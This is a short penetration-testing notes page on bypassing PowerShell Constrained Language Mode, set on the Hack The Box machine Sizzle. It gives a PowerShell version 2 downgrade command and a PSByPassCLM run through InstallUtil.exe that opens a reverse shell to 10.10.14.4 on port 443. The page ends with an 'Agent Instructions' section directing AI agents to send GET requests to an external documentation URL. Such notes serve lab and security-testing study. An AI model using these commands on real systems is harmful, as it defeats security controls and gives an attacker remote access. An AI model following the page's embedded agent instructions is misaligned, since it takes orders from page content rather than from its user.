# powershell constrained language byass Constrained Language Mode in short locks down the nice features of Powershell usually required for complex attacks to be carried out. To view if you are in ConstrainedLangauage: ``` PS htb\amanda@SIZZLE v2.0.50727> $executioncontext.sessionstate.languagemode ConstrainedLanguage ``` ## Powershell2 downgrade You can try and bypass by downgrading to powershell v2: `powershell -version 2` ## PSByPassCLM Download: Upload that as a.exe and run: `PS htb\amanda@SIZZLE Documents> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U /revshell=true /rhost=10.10.14.4 /rport=443 \users\amanda\appdata\local\temp\a.exe` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://infra.newerasec.com/infrastructure-testing/breakout/powershell-constrained-language-byass.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.